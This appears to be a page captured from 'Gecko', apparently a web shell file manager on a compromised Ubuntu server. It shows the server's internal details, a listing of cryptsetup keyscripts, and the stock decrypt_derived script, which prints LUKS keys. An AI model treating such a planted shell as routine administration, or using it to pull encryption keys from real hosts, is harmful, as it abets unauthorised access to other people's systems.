Gecko [ tsuru-no-tsurugi.tokyo ]

Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.216.68
Domains : Cant Read [ /etc/named.conf ]
User : www-data

Name	Size	Permission	Date
decrypt_derived	1.07 KB	-rwxr-xr-x	2020-02-04 22:11
decrypt_gnupg	570 B	-rwxr-xr-x	2020-02-04 22:11
decrypt_gnupg-sc	953 B	-rwxr-xr-x	2020-02-04 22:11
decrypt_keyctl	1.99 KB	-rwxr-xr-x	2020-02-04 22:11
decrypt_opensc	1.36 KB	-rwxr-xr-x	2020-02-04 22:11
decrypt_ssl	347 B	-rwxr-xr-x	2020-02-04 22:11
passdev	14.3 KB	-rwxr-xr-x	2025-01-30 03:37

Rename

#!/bin/sh

# WARNING: If you use the decrypt_derived keyscript for devices with
# persistent data (i.e. not swap or temp devices), then you will lose
# access to that data permanently if something damages the LUKS header
# of the LUKS device you derive from. The same applies if you luksFormat
# the device, even if you use the same passphrase(s). A LUKS header
# backup, or better a backup of the data on the derived device may be
# a good idea. See the Cryptsetup FAQ on how to do this right.

if [ -z "$1" ]; then
    echo "$0: must be executed with a crypto device as argument" >&2
    exit 1
fi

unset -v keys count
keys="$(dmsetup table --target crypt --showkeys -- "$1" 2>/dev/null | cut -s -d' ' -f5)"
count="$(printf '%s' "$keys" | wc -l)"

if [ -n "$keys" ] && [ $count -le 1 ]; then
    if [ "${keys#:}" = "$keys" ]; then
        printf '%s' "$keys" | tr -d '\n'
    else
        echo "$0: device $1 uses the kernel keyring"
    fi
elif [ $count -eq 0 ]; then
    echo "$0: device $1 doesn't exist or isn't a crypto device" >&2
else
    echo "$0: more than one device match" >&2
fi
exit 1